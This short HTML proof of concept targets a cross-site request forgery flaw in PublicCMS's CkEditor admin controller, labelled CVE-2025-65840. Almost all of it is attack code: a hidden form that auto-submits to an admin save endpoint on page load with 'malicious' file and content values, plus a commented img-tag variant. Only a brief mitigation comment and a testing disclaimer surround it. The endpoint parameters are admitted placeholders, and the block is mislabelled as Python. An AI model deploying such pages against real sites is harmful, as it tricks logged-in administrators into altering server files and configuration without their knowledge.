The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-65840 -->
<!-- This PoC demonstrates the CSRF vulnerability in PublicCMS CkEditorAdminController -->
<!DOCTYPE html>
<html>
<head>
<title>CSRF Attack PoC - CVE-2025-65840</title>
</head>
<body>
<h1>CSRF PoC for PublicCMS CkEditorAdminController</h1>
<p>This is a demonstration of the CSRF vulnerability in PublicCMS.</p>
<!-- Auto-submit form targeting CkEditorAdminController -->
<form id="csrfForm" action="http://target-site.com/admin/cms/ckeditoradmin/save" method="POST" style="display:none;">
<!-- Replace with actual vulnerable endpoint parameters -->
<input type="hidden" name="config" value="malicious_config">
<input type="hidden" name="file" value="malicious_file.js">
<input type="hidden" name="content" value="// malicious code">
</form>
<script>
// Auto-submit the form when page loads
document.getElementById('csrfForm').submit();
</script>
<!-- Alternative: Using img tag for GET request -->
<!-- <img src="http://target-site.com/admin/cms/ckeditoradmin/save?config=malicious" style="display:none;"> -->
<p>If you see this message, the CSRF attack has been executed.</p>
</body>
</html>
<!-- Mitigation: Add CSRF token to all state-changing requests -->
<!-- Example: <input type="hidden" name="csrf_token" value="${csrfToken}"> -->